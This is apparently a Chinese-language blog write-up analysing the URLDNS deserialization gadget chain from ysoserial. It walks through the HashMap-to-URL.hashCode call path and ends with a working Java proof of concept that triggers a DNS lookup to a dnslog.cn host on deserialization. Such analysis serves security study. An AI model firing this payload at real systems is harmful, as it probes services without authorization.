URLDNS是ysoserial中的一条利用链,通常用于检测是否存在Java反序列化漏洞,该利用链具有如下特点:- URLDNS 利用链只能发起 DNS 请求,并不能进行其它利用
- 不限制 jdk 版本,使用 Java 内置类,对第三方依赖没有要求
- 目标无回显,可以通过 DNS 请求来验证是否存在反序列化漏洞
原理
java.util.HashMap实现了Serializable接口,重写了readObject, 在反序列化时会调用hash函数计算key的hashCode,而java.net.URL的hashCode在计算时会调用getHostAddress来解析域名, 从而发出DNS请求- 整个
URLDNS的Gadget:- HashMap->readObject()
- HashMap->hash()
- URL->hashCode()
- URLStreamHandler->hashCode()
- URLStreamHandler->getHostAddress()
- InetAddress->getByName()
- 要构造这个Gadget,只需要初始化⼀个
java.net.URL对象,作为key放在java.util.HashMap中;然后,设置这个URL对象的hashCode为初始值**-1** ,这样反序列化时将会重新计算其hashCode,才能触发到后⾯的DNS请求,否则不会调用URL->hashCode()
分析
HashMap.readObject()—HashMap.putVal()—HashMap.hash()—URL.hashCode()先跟进
HashMap,看readObject()函数,这里通过for循环来将HashMap中存储的key通过K key = (K) s.readObject();来进行反序列化,在这之后调用putVal()和hash()函数,将HashMap的键名计算了hash
跟进
hash()函数,当key!=null时会调用hashCode()函数
跟进
hashCode()函数,在ysoserial中的URLDNS是利用URL对象,于是跟进Java基本类URL中关于hashCode()的部分java/net/URL.java,由于hashCode的值默认为-1,因此会执行hashCode = handler.hashCode(this);

看
handler.hashCode()函数,示例代码:import java.net.URL; public class Test2 { public static void main(String[] args) throws Exception { URL url = new URL("http://gr6gh1.dnslog.cn/"); url.hashCode(); } }成功触发DNS请求

调试跟进
java/net/URLStreamHandler.java中的hashCode()函数,可以看到调用了一个函数getHostAddress()来进行DNS解析返回对应的IP
在
ysoserial中是通过put()函数来触发的,这一步的实现和前面的是一样的,都是通过hash()函数来实现的
当
HashMap传入一个URL对象时,会进行一次DNS解析,并且HashMap实现了Serializable接口,重写了readObject当一个
Java应用存在反序列化漏洞时,可以通过传入一个序列化后的HashMap数据(将URL对象作为key放入HashMap中)当传入的数据到达该
Java应用的反序列化漏洞点时,程序就会调用HashMap重写的readObject()函数来反序列化读取数据,进而触发key.hashCode()函数进行一次DNS解析
ysoserial 项目代码分析
这里通过继承
URLStreamHandler类,重写openConnection()和getHostAddress()函数,目的在于:HashMap->put时也会调用getHostAddress()函数进行一次DNS解析,这里就是通过重写的getHostAddress()函数来覆盖掉原函数,从而使其不进行DNS解析,避免在Payload在创建的时候进行DNS解析
代码
Reflections.setFieldValue(u, "hashCode", -1);中的setFieldValue()函数是ysoserial项目自定义的一个反射类中的函数
通过反射来设置
URL类的hashCode的值为-1,这是因为在HashMap#put时已经调用过一次hashCode()函数,hashCode的值会改变不再为-1,这样会导致在下一步经过HashMap的readObject()函数反序列化时直接返回hashCode的值,不再调用handler.hashCode(this),因此利用反射来将hashCode的值设为-1ysoserial为了防止在生成Payload的时候也执行了URL请求和DNS查询,所以重写了⼀个SilentURLStreamHandler类最后利用
PayloadRunner.run()来进行反序列化
poc
import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.net.URL; import java.text.SimpleDateFormat; import java.util.Date; import java.util.HashMap; public class URLDemo { public static void main(String[] args) throws Exception { Date nowTime = new Date(); HashMap hashmap = new HashMap(); URL url = new URL("http://lttx9f.dnslog.cn"); SimpleDateFormat simpleDateFormat = new SimpleDateFormat("yyyy-MM-dd hh:mm:ss"); Field filed = Class.forName("java.net.URL").getDeclaredField("hashCode"); filed.setAccessible(true); // 绕过Java语言权限控制检查的权限 filed.set(url, 209); hashmap.put(url, 209); System.out.println("当前时间为: " + simpleDateFormat.format(nowTime)); filed.set(url, -1); try { FileOutputStream fileOutputStream = new FileOutputStream("./dnsser"); ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream); objectOutputStream.writeObject(hashmap); objectOutputStream.close(); fileOutputStream.close(); FileInputStream fileInputStream = new FileInputStream("./dnsser"); ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream); objectInputStream.readObject(); objectInputStream.close(); fileInputStream.close(); } catch (Exception e) { e.printStackTrace(); } } }从请求结果中可以看出,在
Payload生成阶段并没有发起DNS解析,而是在后续反序列化过程中进行的请求

参考链接: